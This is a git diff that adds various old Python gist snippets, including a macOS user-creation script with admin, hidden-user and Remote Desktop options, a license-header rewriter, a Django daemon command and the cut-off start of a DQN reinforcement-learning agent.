+        
+        self.user.IsHidden = self.conf.get("IsHidden", False)
+        
+    
+    def check_kickstartard(self):
+        """Check if ARD should be kickstarted for the user."""
+        
+        self.user.KickstartARD = self.conf.get("KickstartARD", False)
+        
+
+# FIXME: Don't hardcode utf-8.
+# TODO: Use logging instead.
+def printenc(msg, stream=sys.stdout, encoding="utf-8"):
+    print >>stream, msg.encode(encoding)
+    
+
+def printerr(msg):
+    printenc(msg, sys.stderr)
+    
+
+def main(argv):
+    
+    #
+    # Read configuration plist.
+    #
+    
+    try:
+        # Ensure we're running on 10.7+
+        check_os()
+        
+        # Load the configuration.
+        user_config = UserConfig(os.path.join(SCRIPT_DIR, "userdata.plist"))
+        
+        # Check the configuration.
+        user_config.check_shortname()
+        user_config.check_realname()
+        user_config.check_password()
+        user_config.check_uniqueid()
+        user_config.check_primarygroupid()
+        user_config.check_picture()
+        user_config.check_usershell()
+        user_config.check_nfshomedirectory()
+        user_config.check_generateduid()
+        user_config.check_isadmin()
+        user_config.check_ishidden()
+        user_config.check_kickstartard()
+        
+    except CLUError as e:
+        printerr(str(e))
+        return 1
+    
+    user = dotdict(user_config.user)
+    
+    #
+    # Create the user using dscl.
+    #
+    
+    printenc(u"Creating new user %s" % repr(user.shortname))
+    
+    user_path = "/Local/Target/Users/%s" % user.shortname
+    
+    # Bail out if we can't create the user at all.
+    (ret, out, err) = dscl("-create", user_path)
+    if ret:
+        printerr(u"dscl: Creation of %s failed: %s" % (user_path, err))
+        return 2
+    
+    # Wrap dscl calls to display any errors.
+    def dscl_check(*args):
+        (ret, out, err) = dscl(*args)
+        if ret:
+            printerr(u"dscl %s returned %d: %s" % (" ".join(args), ret, err))
+    
+    for a in ("RealName",
+              "PrimaryGroupID",
+              "UniqueID",
+              "NFSHomeDirectory",
+              "Picture",
+              "UserShell"):
+        printenc("%s: %s" % (a, repr(user[a])))
+        dscl_check("-create", user_path, a, str(user[a]))
+    
+    if user.GeneratedUID:
+        printenc("GeneratedUID: %s" % user.GeneratedUID)
+        dscl_check("-create", user_path, "GeneratedUID", user.GeneratedUID)
+    
+    #
+    # Set ShadowHashData by writing directly to the user plist.
+    #
+    
+    printenc(u"Writing ShadowHashData")
+    
+    def flush_ds_cache():
+        ret = subprocess.call(("/usr/bin/dscacheutil", "-flushcache"))
+        if ret:
+            printerr(u"Warning: dscacheutil -flushcache returned %d" % ret)
+        time.sleep(5)
+    
+    # Start by flushing the ds cache as we're going to access the plist directly.
+    flush_ds_cache()
+    
+    user_plist_path = os.path.join(TARGET_DIR, "var/db/dslocal/nodes/Default/users/%s.plist" % user.shortname)
+    user_plist_data = NSData.dataWithContentsOfFile_(user_plist_path)
+    if not user_plist_data:
+        printerr(u"Can't read %s" % user_plist_path)
+        return 2
+    
+    user_plist, plist_format, error = \
+     NSPropertyListSerialization.propertyListFromData_mutabilityOption_format_errorDescription_(
+                    user_plist_data, NSPropertyListMutableContainers, None, None)
+    if error:
+        printerr(u"Can't set ShadowHashData: %s" % error)
+        return 2
+    
+    user_plist["ShadowHashData"] = user.ShadowHashData
+    
+    user_plist_data, error = \
+     NSPropertyListSerialization.dataFromPropertyList_format_errorDescription_(
+                            user_plist, plist_format, None)
+    if error:
+        printerr(u"Can't serialize user plist: %s" % error)
+        return 2
+    
+    if not user_plist_data.writeToFile_atomically_(user_plist_path, True):
+        printerr(u"Couldn't write %s" % user_plist_path)
+        return 2
+    
+    # Flushing the ds cache again, hopefully allowing directory services to pick up the new hash.
+    flush_ds_cache()
+    
+    #
+    # Other user settings.
+    #
+    
+    # Add to admin group.
+    if user.IsAdmin:
+        printenc(u"Making %s admin" % user.shortname)
+        dscl_check("-merge", "/Local/Target/Groups/admin", "GroupMembership", user.shortname)
+    
+    # Hide user from login window.
+    if user.IsHidden:
+        printenc(u"Hiding %s from login window" % user.shortname)
+        p = subprocess.Popen(("/usr/bin/defaults",
+                              "write",
+                              os.path.join(TARGET_DIR, "Library/Preferences/com.apple.loginwindow"),
+                              "HiddenUsersList",
+                              "-array-add",
+                              user.shortname),
+                             stdout=subprocess.PIPE,
+                             stderr=subprocess.PIPE)
+        (out, err) = p.communicate()
+        if p.returncode:
+            printerr(u"Couldn't hide %s from loginwindow: %s" % (user.shortname, err))
+
+    # Kickstart ARD
+    if user.KickstartARD:
+        printenc(u"Kickstarting ARD - Step One")
+        ret = subprocess.call((os.path.join(TARGET_DIR,
+                                            "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart"),
+            "-activate",
+            "-configure",
+            "-allowAccessFor",
+            "-specifiedUsers",
+            "-targetdisk",
+            TARGET_DIR))
+        if ret:
+            printerr(u"Warning: ARD kickstart returned %d" % ret)
+
+    
+    # Kickstart ARD
+    if user.KickstartARD:
+        printenc(u"Kickstarting ARD - Step Two")
+        ret = subprocess.call((os.path.join(TARGET_DIR,
+                                            "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart"),
+            "-activate",
+            "-configure",
+            "-access",
+            "-on",
+            "-users",
+            user.shortname,
+            "-privs",
+            "-all",
+            "-restart",
+            "-agent",
+            "-targetdisk",
+            TARGET_DIR))
+        if ret:
+            printerr(u"Warning: ARD kickstart returned %d" % ret)
+    
+    return 0
+    
+
+if __name__ == '__main__':
+    sys.exit(main(sys.argv))
+    
diff --git a/hard-gists/1246146/._snippet.py b/hard-gists/1246146/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1246146/._snippet.py differ
diff --git a/hard-gists/1246146/snippet.py b/hard-gists/1246146/snippet.py
new file mode 100644
index 00000000..32b64efb
--- /dev/null
+++ b/hard-gists/1246146/snippet.py
@@ -0,0 +1,10 @@
+from pymongo import Connection
+
+class MongoCon(object):
+    __db = None
+
+    @classmethod
+    def get_connection(cls):
+        if cls.__db is None:
+            cls.__db = Connection()
+        return cls.__db
\ No newline at end of file
diff --git a/hard-gists/1246268/._snippet.py b/hard-gists/1246268/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1246268/._snippet.py differ
diff --git a/hard-gists/1246268/snippet.py b/hard-gists/1246268/snippet.py
new file mode 100644
index 00000000..ea2de154
--- /dev/null
+++ b/hard-gists/1246268/snippet.py
@@ -0,0 +1,27 @@
+from PIL import Image
+
+def average_image_color(filename):
+	i = Image.open(filename)
+	h = i.histogram()
+
+	# split into red, green, blue
+	r = h[0:256]
+	g = h[256:256*2]
+	b = h[256*2: 256*3]
+
+	# perform the weighted average of each channel:
+	# the *index* is the channel value, and the *value* is its weight
+	return (
+		sum( i*w for i, w in enumerate(r) ) / sum(r),
+		sum( i*w for i, w in enumerate(g) ) / sum(g),
+		sum( i*w for i, w in enumerate(b) ) / sum(b)
+	)
+
+if __name__ == '__main__':
+    import sys
+    if len(sys.argv) > 1:
+        print average_image_color(sys.argv[1])
+    else:
+        print 'usage: average_image_color.py FILENAME'
+        print 'prints the average color of the image as (R,G,B) where R,G,B are between 0 and 255.'
+        
diff --git a/hard-gists/1248728/._snippet.py b/hard-gists/1248728/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1248728/._snippet.py differ
diff --git a/hard-gists/1248728/snippet.py b/hard-gists/1248728/snippet.py
new file mode 100644
index 00000000..e7653331
--- /dev/null
+++ b/hard-gists/1248728/snippet.py
@@ -0,0 +1,38 @@
+from social_auth.backends.facebook import FacebookBackend
+from social_auth.backends import google
+
+def social_extra_values(sender, user, response, details, **kwargs):
+    result = False
+    
+    if "id" in response:
+        from apps.photo.models import Photo
+        from urllib2 import urlopen, HTTPError
+        from django.template.defaultfilters import slugify
+        from apps.account.utils import user_display
+        from django.core.files.base import ContentFile
+        
+        try:
+            url = None
+            if sender == FacebookBackend:
+                url = "http://graph.facebook.com/%s/picture?type=large" \
+                            % response["id"]
+            elif sender == google.GoogleOAuth2Backend and "picture" in response:
+                url = response["picture"]
+
+            if url:
+                avatar = urlopen(url)
+                    
+                photo = Photo(author = user, is_avatar = True)
+                photo.picture.save(slugify(user.username + " social") + '.jpg', 
+                        ContentFile(avatar.read()))
+            
+                photo.save()
+
+        except HTTPError:
+            pass
+        
+        result = True
+
+    return result
+
+pre_update.connect(social_extra_values, sender=None)
\ No newline at end of file
diff --git a/hard-gists/1251716/._snippet.py b/hard-gists/1251716/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1251716/._snippet.py differ
diff --git a/hard-gists/1251716/snippet.py b/hard-gists/1251716/snippet.py
new file mode 100644
index 00000000..85a5fda4
--- /dev/null
+++ b/hard-gists/1251716/snippet.py
@@ -0,0 +1,34 @@
+# saved from: http://pastie.org/private/bclbdgxzbkb1gs2jfqzehg
+
+import sublime
+import sublimeplugin
+import subprocess
+
+class RunExternalCommand(sublimeplugin.TextCommand):
+    """
+    Runs an external command with the selected text,
+    which will then be replaced by the command output.
+    """
+
+    def run(self, view, args):
+        if view.sel()[0].empty():
+            # nothing selected: process the entire file
+            region = sublime.Region(0L, view.size())
+        else:
+            # process only selected region
+            region = view.line(view.sel()[0])
+
+        p = subprocess.Popen(
+            args,
+            shell=True,
+            bufsize=-1,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.PIPE,
+            stdin=subprocess.PIPE)
+
+        output, error = p.communicate(view.substr(region).encode('utf-8'))
+
+        if error:
+            sublime.errorMessage(error.decode('utf-8'))
+        else:
+            view.replace(region, output.decode('utf-8'))
diff --git a/hard-gists/1253332/._snippet.py b/hard-gists/1253332/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1253332/._snippet.py differ
diff --git a/hard-gists/1253332/snippet.py b/hard-gists/1253332/snippet.py
new file mode 100644
index 00000000..5831d712
--- /dev/null
+++ b/hard-gists/1253332/snippet.py
@@ -0,0 +1,77 @@
+#coding:utf-8
+"""
+unofficial Google Weather API
+
+http://www.google.com/ig/api?weather=,,,35693692,139700260&hl=ja
+
+レスポンスのエンコーディングは hl=jaの場合Shift-JIS hl=enの場合ASCII
+<xml_api_reply version="1">
+  <weather module_id="0" tab_id="0" mobile_row="0" mobile_zipped="1" row="0" section="0">
+    <forecast_information>
+      <city data=""/>
+      <postal_code data=""/>
+      <latitude_e6 data="35693692"/>
+      <longitude_e6 data="139700260"/>
+      <forecast_date data="2011-09-30"/>
+      <current_date_time data="2011-09-30 03:00:00 +0000"/>
+      <unit_system data="SI"/>
+    </forecast_information>
+    <current_conditions>
+      <condition data="曇り"/>
+      <temp_f data="82"/>
+      <temp_c data="28"/>
+      <humidity data="湿度 : 51%"/>
+      <icon data="/ig/images/weather/jp_cloudy.gif"/>
+      <wind_condition data="風: 南西 2 m/s"/>
+    </current_conditions>
+    <forecast_conditions>
+      <day_of_week data="金"/>
+      <low data="20"/>
+      <high data="29"/>
+      <icon data="/ig/images/weather/jp_sunnythencloudy.gif"/>
+      <condition data="晴のち曇"/>
+    </forecast_conditions>
+"""
+
+import urllib
+from xml.etree import ElementTree
+from dateutil import parser as date_parser
+import re
+
+def get_current(lat, lng):
+    """ 座標から最寄りの近い地点の天候、湿度、風速、風向を取得する"""
+    base_url = 'http://www.google.com/ig/api?weather=,,,%d,%d&hl=ja'
+    lat_e6 = e6(lat)
+    lng_e6 = e6(lng)
+    url = base_url % (lat_e6, lng_e6)
+    xml_string = urllib.urlopen(url).read()
+    xml_string = xml_string.decode("shift_jis").encode("utf-8")
+    xml = ElementTree.fromstring(xml_string)
+    current = xml.find('.//current_conditions')
+    condition = current.find('./condition').attrib['data']
+    temp = current.find('./temp_c').attrib['data']
+    if temp:
+        temp = float(temp)
+    hum = current.find('./humidity').attrib['data']
+    humidity = None
+    if hum:
+        hum_match = re.search('(\d{1,2})%', hum)
+        if hum_match:
+            humidity = float(hum_match.group(1))
+    wind = current.find('./wind_condition').attrib['data']
+    return condition, temp, wind, humidity
+
+
+def e6(value):
+    """Google Weatehr APIで使用する小数点以下6桁まで表示し、
+    小数点を消去するフォーマットを返す
+
+    >>> e6(35.69369)
+    35693690
+    """
+    head, tail = str(value).split('.')
+    tail = '%s000000' % tail
+    return int('%s%s'%(head, tail[:6]))
+
+
+print get_current(35.70,139.58)
diff --git a/hard-gists/1254809/._snippet.py b/hard-gists/1254809/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1254809/._snippet.py differ
diff --git a/hard-gists/1254809/snippet.py b/hard-gists/1254809/snippet.py
new file mode 100644
index 00000000..91c2c1e4
--- /dev/null
+++ b/hard-gists/1254809/snippet.py
@@ -0,0 +1,217 @@
+#!/usr/bin/python
+
+import re
+import os
+import pprint
+import subprocess
+import time
+import Levenshtein
+
+########################################################################
+
+theLicenses = {
+'BSD (4 clause)': '''Copyright (c) {year}, {copyright_holder}
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+1. Redistributions of source code must retain the above copyright
+   notice, this list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+3. All advertising materials mentioning features or use of this software
+   must display the following acknowledgement:
+   This product includes software developed by the {organization}.
+4. Neither the name of the {organization} nor the
+   names of its contributors may be used to endorse or promote products
+   derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY {COPYRIGHT_HOLDER} ''AS IS'' AND ANY
+EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL {COPYRIGHT_HOLDER} BE LIABLE FOR ANY
+DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.''',
+
+'BSD (3 clause)': '''Copyright (c) {year}, {copyright_holder}
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+    * Redistributions of source code must retain the above copyright
+      notice, this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+    * Neither the name of the {organization} nor the
+      names of its contributors may be used to endorse or promote products
+      derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL {COPYRIGHT_HOLDER} BE LIABLE FOR ANY
+DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.''',
+
+'BSD (2 clause)': '''Copyright {year} {copyright_holder}. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are
+permitted provided that the following conditions are met:
+
+   1. Redistributions of source code must retain the above copyright notice, this list of
+      conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright notice, this list
+      of conditions and the following disclaimer in the documentation and/or other materials
+      provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY {COPYRIGHT_HOLDER} ``AS IS'' AND ANY EXPRESS OR IMPLIED
+WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL {COPYRIGHT_HOLDER} OR
+CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The views and conclusions contained in the software and documentation are those of the
+authors and should not be interpreted as representing official policies, either expressed
+or implied, of {copyright_holder}.''',
+
+'MIT': '''Copyright (C) {year} by {copyright_holders}
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.''',
+    }
+
+########################################################################
+
+def edit(path):
+    subprocess.call(['/usr/local/bin/bbedit', '-w', path])
+
+thePatterns = [
+    r'''^(?P<filename>.+\.[h|m|c|cpp])
+    (?P<project>.+)
+
+    Created\ by\ (?P<creator>.+?)\ on\ (?P<date>.+).
+    Copyright\ (?P<copyright_year>.+?)\ (?P<copyright_holder>.+?)\.\ All\ rights\ reserved\.'''
+    ]
+
+thePatterns = [thePattern.replace('\n', '\\n') for thePattern in thePatterns]
+
+thePatterns = [re.compile(thePattern, re.MULTILINE | re.VERBOSE) for thePattern in thePatterns]
+
+theRoot = '/Users/schwa/Development/Source/Git/github_touchcode_public/TouchLogging'
+
+def files(inPath):
+    for root, dirs, files in os.walk(inPath):
+        for theSkipDirectory in ['.git', '.svn', '.hg', 'Externals', 'ISO-8601-parser-0.5']:
+            if theSkipDirectory in dirs:
+                del dirs[dirs.index(theSkipDirectory)]
+        for theFile in files:
+            theExtension = os.path.splitext(theFile)[1]
+            if theExtension in ['.h', '.m']:
+                yield os.path.join(root, theFile)
+
+theMetadataSet = set()
+
+for thePath in files(theRoot):
+    theFullPath = os.path.join(theRoot, thePath)
+    theLines = file(theFullPath).readlines()
+
+    theHeaderLineCount = 0
+    theHeaderLines = []
+    for theLine in theLines:
+        if theLine[0:2] == '//':
+            theHeaderLines.append(theLine[2:].strip())
+            theHeaderLineCount += 1
+        else:
+            break
+    theHeader = '\n'.join(theHeaderLines)
+    theHeader = theHeader.strip()
+
+    for thePattern in thePatterns:
+        theMatch = thePattern.match(theHeader)
+        if theMatch:
+            break
+    if not theMatch:
+        print '#### No match on: %s' % thePath
+        edit(thePath)
+        continue
+
+    theMetadata = dict(theMatch.groupdict())
+
+    s = ','.join(['%s:%s' % (k, theMetadata[k]) for k in sorted(theMetadata.keys())])
+    theMetadataSet.add(s)
+
+
+    if len(theHeader[theMatch.end(0):]) > 0:
+        theFileLicense = theHeader[theMatch.end(0):].strip()
+        theLicenseScores = []
+        for theLicenseName, theLicense in theLicenses.items():
+            theLicenseScores.append((Levenshtein.distance(theFileLicense, theLicense), theLicenseName))
+        theLicenseScores.sort()
+        if theLicenseScores[0][1] != 'BSD (2 clause)':
+
+            theNewLicense = theLicenses['BSD (2 clause)']
+
+            theMetadata['year'] = '2011'
+            theMetadata['COPYRIGHT_HOLDER'] = 'JONATHAN WIGHT'
+
+            s = ''
+
+            theNewLicense = theNewLicense.format(**theMetadata)
+            s += '''//
+//  {filename}
+//  {project}
+//
+//  Created by {creator} on {date}.
+'''.format(**theMetadata)
+
+            theLicenseLines = theNewLicense.split('\n')
+            theLicenseLines = ['//  ' + theLine for theLine in theLicenseLines]
+            theLicenseLines = [theLine.rstrip() for theLine in theLicenseLines]
+            s +=  '\n'.join(theLicenseLines)
+            s += '\n'
+            s +=  ''.join(theLines[theHeaderLineCount:])
+
+            print 'Updating', thePath
+
+            file(theFullPath,'w').write(s)
+
+
+
+#   if theMatch.groupdict()['project'] in ['AnythingBucket']:
+#       edit(thePath)
+
+if theMatch.groupdict()['copyright_holder'] != 'toxicsoftware.com':
+    edit(thePath)
+
+# for s in theMetadataSet:
+#     print s
diff --git a/hard-gists/125559/._snippet.py b/hard-gists/125559/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/125559/._snippet.py differ
diff --git a/hard-gists/125559/snippet.py b/hard-gists/125559/snippet.py
new file mode 100644
index 00000000..779954f9
--- /dev/null
+++ b/hard-gists/125559/snippet.py
@@ -0,0 +1,183 @@
+"""
+Copyright (c) 2009, Sean Creeley
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification,
+are permitted provided that the following conditions are met:
+
+  * Redistributions of source code must retain the above copyright notice, this
+      list of conditions and the following disclaimer.
+  * Redistributions in binary form must reproduce the above copyright notice, 
+      this list of conditions and the following disclaimer in the documentation 
+      and/or other materials provided with the distribution.
+  * Neither the name of the Optaros, Inc. nor the names of its contributors may 
+      be used to endorse or promote products derived from this software without 
+      specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 
+IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, 
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 
+NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, 
+OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, 
+WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
+POSSIBILITY OF SUCH DAMAGE.
+
+=============
+DaemonCommand
+=============
+
+Django Management Command for starting a daemon.
+
+Use
+===
+
+Simple use of daemon command::
+
+    from daemonextension import DaemonCommand
+    from django.conf import settings
+    import os
+    
+    class Command(DaemonCommand):
+        
+        stdout = os.path.join(settings.DIRNAME, "log/cubbyscott.out")
+        stderr = os.path.join(settings.DIRNAME, "log/cubbyscott.err")
+        pidfile = os.path.join(settings.DIRNAME, "pid/cb_link.pid")
+        
+        def handle_daemon(self, *args, **options):
+            from flopsy import Connection, Consumer
+            consumer = Consumer(connection=Connection())
+            consumer.declare(queue='links', 
+                             exchange='cubbyscott', 
+                             routing_key='importer', auto_delete=False)
+            
+            def message_callback(message):
+                print 'Recieved: ' + message.body
+                consumer.channel.basic_ack(message.delivery_tag)
+            
+            consumer.register(message_callback)
+            
+            consumer.wait()
+
+call::
+
+    python python manage.py linkconsumer
+    
+"""
+
+from django.core.management.base import BaseCommand
+from optparse import make_option
+
+import daemon
+from daemon import pidlockfile
+
+class DaemonCommand(BaseCommand):
+        
+    option_list = BaseCommand.option_list + (
+        make_option('--chroot_directory', action='store', dest='chroot_directory',
+            help='Full path to a directory to set as the effective root directory of \
+            the process.'),
+        make_option('--working_directory', action='store', dest='working_directory',
+            default="/",
+            help='Full path of the working directory to which the process should \
+            change on daemon start.'),
+        make_option('--umask', action='store', dest='umask', default=0, type="int",
+            help='File access creation mask ("umask") to set for the process on \
+            daemon start.'),
+        make_option('--pidfile', action='store', dest='pidfile',
+            help='Context manager for a PID lock file. When the daemon context opens \
+            and closes, it enters and exits the `pidfile` context manager.'),
+        make_option('--detach_process', action='store', dest='detach_process', 
+            help='If ``True``, detach the process context when opening the daemon \
+            context; if ``False``, do not detach.'),
+        make_option('--uid', action='store', dest='uid', 
+            help='The user ID ("UID") value to switch the process to on daemon start.'),
+        make_option('--gid', action='store', dest='gid', 
+            help='The group ID ("GID") value to switch the process to on daemon start.'),
+        make_option('--prevent_core', action='store', dest='prevent_core', default=True,
+            help='If true, prevents the generation of core files, in order to avoid \
+            leaking sensitive information from daemons run as `root`.'),
+        make_option('--stdin', action='store', dest='stdin', 
+            help='Standard In'),
+        make_option('--stdout', action='store', dest='stdout',
+            help='Standard Out'),
+        make_option('--stderr', action='store', dest='stderr',
+            help='Standard Error'),
+    )
+    help = 'Create a daemon'
+    
+    chroot_directory = None
+    working_directory = '/'
+    umask = 0
+    detach_process = True
+    prevent_core = True
+    stdin = None
+    stdout = None
+    stderr = None
+    pidfile = None
+    uid = None
+    gid = None    
+    
+    
+    def get_option_value(self, options, name, expected=None):
+        value = options.get(name)
+        if value == expected:
+            value = getattr(self, name)
+        print name, ' ', value
+        return value
+    
+    def handle(self, *args, **options):
+        """
+        Takes the options and starts a daemon context from them. 
+        
+        Example::
+        
+            python manage.py linkconsumer --pidfile=/var/run/cb_link.pid 
+                --stdout=/var/log/cb/links.out --stderr=/var/log/cb/links.err
+        
+        """
+        context = daemon.DaemonContext()
+        
+        context.chroot_directory = self.get_option_value(options, 'chroot_directory')
+        context.working_directory = self.get_option_value(options, 'working_directory', '/')
+        context.umask = self.get_option_value(options, 'umask', 0)
+        context.detach_process = self.get_option_value(options, 'detach_process')
+        context.prevent_core = self.get_option_value(options, 'prevent_core', True)
+        
+        #Get file objects
+        stdin =  self.get_option_value(options, 'stdin')
+        if stdin is not None:
+            context.stdin = open(stdin, "r")
+        
+        stdout = self.get_option_value(options, 'stdout')
+        if stdout is not None:
+            context.stdout = open(stdout, "a+")
+        
+        stderr = self.get_option_value(options, 'stderr')
+        if stderr is not None:
+            context.stderr = open(stderr, "a+")  
+        
+        #Make pid lock file
+        pidfile = self.get_option_value(options, 'pidfile')
+        if pidfile is not None:
+            context.pidfile=pidlockfile.PIDLockFile(pidfile)
+        
+        uid = self.get_option_value(options, 'uid')
+        if uid is not None:
+            context.uid = uid
+        
+        gid = self.get_option_value(options, 'gid')
+        if gid is not None:
+            context.gid = uid
+        
+        context.open()        
+        
+        self.handle_daemon(*args, **options)
+
+    def handle_daemon(self, *args, **options):
+        """
+        Perform the command's actions in the given daemon context
+        """
+        raise NotImplementedError()
\ No newline at end of file
diff --git a/hard-gists/1260ba896d448bad0eebdf26b80c00cc/._snippet.py b/hard-gists/1260ba896d448bad0eebdf26b80c00cc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1260ba896d448bad0eebdf26b80c00cc/._snippet.py differ
diff --git a/hard-gists/1260ba896d448bad0eebdf26b80c00cc/snippet.py b/hard-gists/1260ba896d448bad0eebdf26b80c00cc/snippet.py
new file mode 100644
index 00000000..d52c000b
--- /dev/null
+++ b/hard-gists/1260ba896d448bad0eebdf26b80c00cc/snippet.py
@@ -0,0 +1,172 @@
+import gym
+import random
+
+import numpy as np
+import tensorflow as tf
+
+class DQN:
+  REPLAY_MEMORY_SIZE = 10000
+  RANDOM_ACTION_PROB = 0.5
+  RANDOM_ACTION_DECAY = 0.99
+  HIDDEN1_SIZE = 128
+  HIDDEN2_SIZE = 128
+  NUM_EPISODES = 3000
+  MAX_STEPS = 1000
+  LEARNING_RATE = 0.0001
+  MINIBATCH_SIZE = 10
+  DISCOUNT_FACTOR = 0.9
+  TARGET_UPDATE_FREQ = 100
+  REG_FACTOR = 0.001
+  LOG_DIR = '/tmp/dqn'
+
+  def __init__(self, env):
+    self.env = gym.make(env)
+    assert len(self.env.observation_space.shape) == 1
+    self.input_size = self.env.observation_space.shape[0]
+    self.output_size = self.env.action_space.n
+    
+  def init_network(self):
+    # Inference
+    self.x = tf.placeholder(tf.float32, [None, self.input_size])
+    with tf.name_scope('hidden1'):
+      W1 = tf.Variable(
+                 tf.truncated_normal([self.input_size, self.HIDDEN1_SIZE], 
+                 stddev=0.01), name='W1')
+      b1 = tf.Variable(tf.zeros(self.HIDDEN1_SIZE), name='b1')
+      h1 = tf.nn.tanh(tf.matmul(self.x, W1) + b1)
+    with tf.name_scope('hidden2'):
+      W2 = tf.Variable(
+                 tf.truncated_normal([self.HIDDEN1_SIZE, self.HIDDEN2_SIZE], 
